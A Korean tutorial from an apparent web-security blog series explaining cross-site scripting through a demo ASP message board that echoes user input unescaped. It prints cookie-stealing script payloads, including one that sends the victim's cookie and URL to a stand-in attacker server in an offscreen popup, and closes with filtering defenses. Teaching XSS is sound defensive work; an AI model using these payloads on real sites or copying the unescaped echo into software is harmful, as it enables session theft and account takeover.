7. XSS(CSS)
* XSS 란?
Cross Site Script 의 약자로 CSS 또는 XSS 라 불리는 공격 기법입니다.
XSS 공격은 웹 사이트를 공격 대상으로 하는 것이 아니라 사용자를 대상으로
하는 공격 기법입니다.
즉, 선의의 사용자의 유용한 정보(쿠키 or 세션)를 훔쳐 도용하는 방법이라 볼 수 있습니다.
세션도 쿠키의 일종으로 서버와 클라이언트가 동시에 저장하는 구조를 가집니다.
(세션에 대한 자세한 사항이 이전 글을 참고 해 주세요)
이 세션 정보를 훔쳐 내어 세션의 유효기간 내에(일반적으로 20분) 동일 세션으로
위장하여 사이트에 불법 로그인을 하는 형태의 공격이 주를 이룹니다.
이미 세션 가로채기는 앞서 알아본 바가 있습니다.
세션 가로채기에서 언급하였던 다른 사용자의 세션을 알아내는 XSS 공격기법이
바로 이것이지요.
* XSS 공격 시나리오
1. 악의의 사용자는 유료 회원용 게시판에 관심을 끌만한 제목으로 글을 등록합니다.
이때 사용자의 쿠키정보를 훔쳐내는 악성코드를 삽입합니다.
물론 사용자는 이 글을 봐도 자신의 정보가 빠져 나갔는지 알 수 없게 하겠지요.
2. 선의의 사용자는 그 글을 읽기 위해 사이트에 로그인을 하고 해당 게시물에 접근합니다.
3. 게시물을 보는 순간 악성 스크립트가 실행되어 선의의 사용자의 정보가 지정된 서버로 고스란히 전송 됩니다.
4. 기다리고 있던 악의의 사용자는 이 정보를 취득하여 사이트에 불법 로그인을 합니다.
(웹 프록시 툴등을 사용하여 세션정보를 변경하는 방법으로..)
* XSS 공격 방법
지금부터 간단한 데모를 통해 XSS 공격 방법을 살펴 봅니다.
데모를 위해 간단한 게시판 환경을 재연 합니다.
상황을 간단히 하기 위해 DB 연동은 제외 합니다.
1.Write.asp (글쓰기 폼) <form name="myform" method="post" action="Content.asp"> 제목 : <input type="text" name="subject" size=30> <p> 내용 : <br> <textarea name="content" cols=35 rows=10></textarea> <br> <input type="submit" value="등록"> </form> subject = request("subject") content = request("content") %>
제목 : <%=subject%> <p> 내용 : <%=content %> |
정상적인 시나리오 라면 아래와 같은 시퀀스로 게시물이 등록될 것입니다.
2. 글 보기 화면
DB 연동 과정이 생략 되었지만 게시판 구현과 얼쭈 유사 하지요..
그럼 이번에 XSS 공격용 코드를 게시물에 아래와 같이 등록해 봅니다.
<script>
cookieValue = document.cookie;
document.write(cookieValue);
</script>
그리고 나서 글 보기 화면은 아래와 같을 것입니다.
현재 글을 보는 사용자의 세션 ID 가 그대로 노출 되는 것이지요..
만일 이 세션ID가 서버와 공유된, 즉 단순 세션 기반의 사용자 식별을 위한
세션 값이었다면 이 값을 사용자 권한을 얻는 값으로 사용될 것입니다.
물론 현재 상황처럼 단순히 글을 보는 것에 그친다면 각 사용자들은
자신의 세션 ID 를 보는 것이기에 상관은 없는 시나리오이간 합니다.
그럼 XSS 공격은 어떤 시나리오를 가질까요?
바로 아래와 같습니다.
* XSS 공격 방법
1. 악의의 사용자는 회원인증을 통해야만 볼 수 있는 게시판 등에 세션 ID를 얻을 수 있는
코드를 등록한다. 글을 보게 될 선의의 사용자의 세션 ID를 얻어서 자신의 서버로
전송하는 코드가 될 것이다.
2. 선의의 사용자는 아무 생각 없이 등록된 글을 언젠가 읽게 될 것이다.
3. 글을 읽게 된 선의의 사용자의 세션 ID가 악의의 사용자가 지정해 놓은 서버로 전송된다.
4. 악의의 사용자는 이 세션 ID를 취득하여 해당 사이트에 세션 값 변조를 통해
선의의 사용자 ID로 로그인을 할 수 있게 된다
5. 남의 ID로 로그인한 악의의 사용자는 온갖 짓을 할게 뻔하다.
위의 시나리오를 재현 해 봅니다.
우선 아래와 같은 코드를 게시물에 등록합니다.
<script>
url="http://127.0.0.1/XSS.asp?url="+document.location+"&cookie=" + document.cookie;
window.open(url,"","width=500,height=200");
</script>
테스트를 위해 127.0.0.1 의 주소를 사용하지만 실제로 이 주소는
악의의 사용자가 지정한 서버의 주소가 될 것입니다.
결과 화면을 아래와 같습니다.
새롭게 오픈 된 창은 실제 환경에서는 악의의 사용자가 만들어 놓은, 악의의 사용자만이
볼 수 있는 화면이 될 것입니다.
즉, 위 코드는 테스트를 위해 127.0.0.1 의 ip 를 사용하며 또한 오픈 창 역시
바로 볼 수 있도록 하였습니다.
그러나 실제 공격에서는 선의의 사용자는 이 화면이 보이지 않게 하기 위해
오픈 창의 위치 등을 조정하여 숨길 것입니다. 아래와 같이…
<script>
url="http://공격용웹서버/XSS.asp?url="+document.location+"&cookie=" + document.cookie;
window.open(url,"","width=500,height=200,top=1000");
</script>
위와 같이 오픈 되는 창의 위치를 top=1000 으로 하면 창은 오픈되지만
창이 화면에 보이지는 않습니다.
단, 작업표시줄에는 나타 납니다. 간혹 가다가 눈에 보이는 창은 없는데
작업표시줄에는 있는 것이 바로 창의 위치가 조정된 것 입니다.
(단, 위치가 조정된 창이라고 하여 무조건 XSS 공격용 창은 아닙니다.
일반적인 다른 처리를 위해서도 창의 위치를 조정하여 처리하는 경우도 있습니다)
이렇게 하여 선의의 사용자는 알아차리지도 못한 채 자신의 세션정보가
악의의 사용자에게로 전달되는 상황이 발생하는 것입니다.
* XSS 의 또 다른 형태
XSS 공격이 주로 웹 게시판을 통해서 일어 납니다만, 이메일을 통해서도 XSS 공격이
가능합니다.
웹메일 서비스를 제공하는 사이트의 메일 주소로 위와 유사한 코드를 메일 본문에 작성하여 다른 사람에게 보냅니다.
그러면 선의의 사용자는 메일을 보기 위해 당연히 로그인을 할 것입니다.
그 후 메일을 여는 순간 자신의 세션 정보가 유출 되는 시나리오 입니다.
그리하여 알지 못하는 사람에게서 날라온 메일은 보지 않는 것이 보안상 좋다는 여러 이유중 XSS 공격도 포함되는 것입니다.
* XSS 공격 대책 방법
XSS 공격은 글을 작성할 수 있는 공간(게시판 or 이메일)에 스크립트를 작성한다는 것이
주요한 원리 입니다.
따라서 아래와 같은 방법으로 차단을 할 수 있을 것입니다.
1. 사용자의 입력 문자를 필터링 한다
- 스크립트를 아예 사용하지 못하게 하거나 만일 html 허용 게시판 처럼
불가피 하게 허용 하여야 할 경우 <script> 태그나 image,iframe , window.open등과
같은 태그는 사용하지 못하도록 합니다.
2. HEX 값도 필터링 한다
1번 처럼 필터링을 한다고 해도 <script> 와 같은 태그를 HEX 값으로 변경하여
공격을 할 수 도 있습니다. 이와 같은 경우 단순히 스크립트 문자 체크로만으로는
방어를 할 수가 없습니다.
따라서 주요한 스크립트의 16진수로 표현 방식에 대한 필터링도 필히
수행되어야 합니다.
3. 늘 하는 이야기 이지만 웹 방화벽과 같은 솔루션을 도입하면 간단히
해결 될 것입니다
[출처] 7. XSS(CSS)|작성자 캔시온